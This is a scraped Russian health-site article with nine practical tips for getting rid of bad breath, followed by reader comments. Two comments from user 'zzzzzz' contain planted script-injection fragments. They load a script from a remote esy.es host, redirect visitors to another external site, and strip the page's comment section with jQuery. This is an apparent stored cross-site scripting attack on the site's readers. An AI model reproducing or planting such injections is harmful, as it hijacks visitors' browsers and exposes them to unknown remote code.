Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как избавиться от запаха ...  >>  Как избавиться от запаха изо рта
 
Обратная связь
 

Как избавиться от запаха изо рта

Размер шрифта
13 марта 2014 00:00
  • google_analytics: false
  • Нравится

Пожалуй, все мы сталкивались с такой проблемой как несвежее дыхание. В некоторых случаях она может стать настоящим кошмаром и сделать жизнь невыносимой. К счастью, мы знаем, как избавиться от запаха изо рта.

Как избавиться от запаха изо рта

1. Чистите зубы чаще

Основная причина запаха изо рта – это налет на зубах, в котором скапливаются бактерии. Поэтому зубы нужно чистить как минимум 2 раза в день. Если у вас есть возможность, чистите зубы после каждой еды, но не переусердствуйте, в противном случае вы можете лишиться эмали.

2. Снимайте налет с языка

На языке, так же, как и на зубах, скапливается налет, содержащий бактерии. Для того чтобы его удалить, во время чистки зубов осторожно проведите зубной щеткой по языку. Если щетка доставляет неприятные ощущения, используйте специальный скребок для языка, который позволяет удалить налет, бактерии и остатки пищи.

3. Будьте внимательны к еде

Такие продукты как лук и чеснок могут надолго лишить вас свежего дыхания, и зубная щетка тут не поможет. Летучие вещества, которые в них содержатся, попадают в кровоток и выделяются в окружающую среду с выдыхаемым воздухом. Если у вас намечается важная встреча или свидание, придется отказаться от лука и чеснока.

4. Откажитесь от вредной привычки

Запах изо рта – еще один повод бросить курить. Курение повреждает десны, портит эмаль и увеличивает риск развития рака полости рта. В настоящее время в аптеке можно найти различные средства, которые помогут избавиться от вредной привычки.

5. Полоскайте рот

После того, как почистите зубы, прополощите рот антибактериальным раствором. Если нет возможности чистить зубы после каждого приема пищи, можно прополоскать рот водой, чтобы удалить остатки пищи.

6. Жуйте жвачку

Освежающие конфеты содержат сахар, который способствует размножению бактерий. Вместо освежающих конфет жуйте жвачку без сахара. Она стимулирует выработку слюны, которая очищает зубы от налета и возвращает свежесть дыхания.

7. Ухаживайте за деснами

Причиной несвежего дыхания часто становятся заболевания десен. Пища забивается в карман между десной и зубом, что приводит к появлению неприятного запаха изо рта. Если вас беспокоит подобная проблема, обратитесь к стоматологу.

8. Увлажняйте полость рта

Неприятный запах изо рта может быть обусловлен недостаточным количеством слюны. Если вы чувствуете сухость во рту, пейте больше воды или жуйте жвачку, установите дома увлажнитель воздуха.

9. Обратитесь к врачу

Если неприятный запах изо рта сохраняется, несмотря на все ваши усилия, обратитесь к врачу. Возможно, неприятный запах изо рта является следствием заболевания.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

08 апреля 2014 в 03:11

Цитировать   |   Пожаловаться

Мне с этой проблемой помимо элементарной гигиены помогают бороться специализированные средства, я пользуюсь air-lift, больше всего нравятся из тех что пробовала. 

2 - Гость

25 июня 2015 в 14:18

Цитировать   |   Пожаловаться

У меня периодически появляется не особо приятный запах изо рта, я как это заметила, так сразу купила СВ12-ополаскиватель такой, каждое утро его ипсользую и спокойна, что никто запах плохой не почует, а то я переживаю, не хочется, что бы люди думали, что я за собой не слежу.

3 - Гость

26 июня 2015 в 06:52

Цитировать   |   Пожаловаться

Гость 25 июня 2015 в 14:18
не хочется, что бы люди думали, что я за собой не слежу.
 Правильно, что Вы следите за собой, а то у нас на работе есть девушка, очень привлекательная, ухоженная, а изо рта помоями пахнет, неприятно с ней общаться.

4 - zzzzzz

30 июня 2015 в 18:45

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

5 - zzzzzz

30 июня 2015 в 22:43

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
ПРОфессиональный и эффективный уход за полостью рта   Как быть здоровым ничего не делая   Красивая улыбка – лучший новогодний подарок!   Принюхайтесь к соседу! Запах человека говорит о его болезнях!  
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 03 октября 2013Результаты благотворительного марафона «Всем миром»
 

Слайдшоу

1
Можно ли пережить беременность без рвоты?
Почему вам не нравится ваша улыбка на фото?
Что ваш чих говорит о вас?!

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.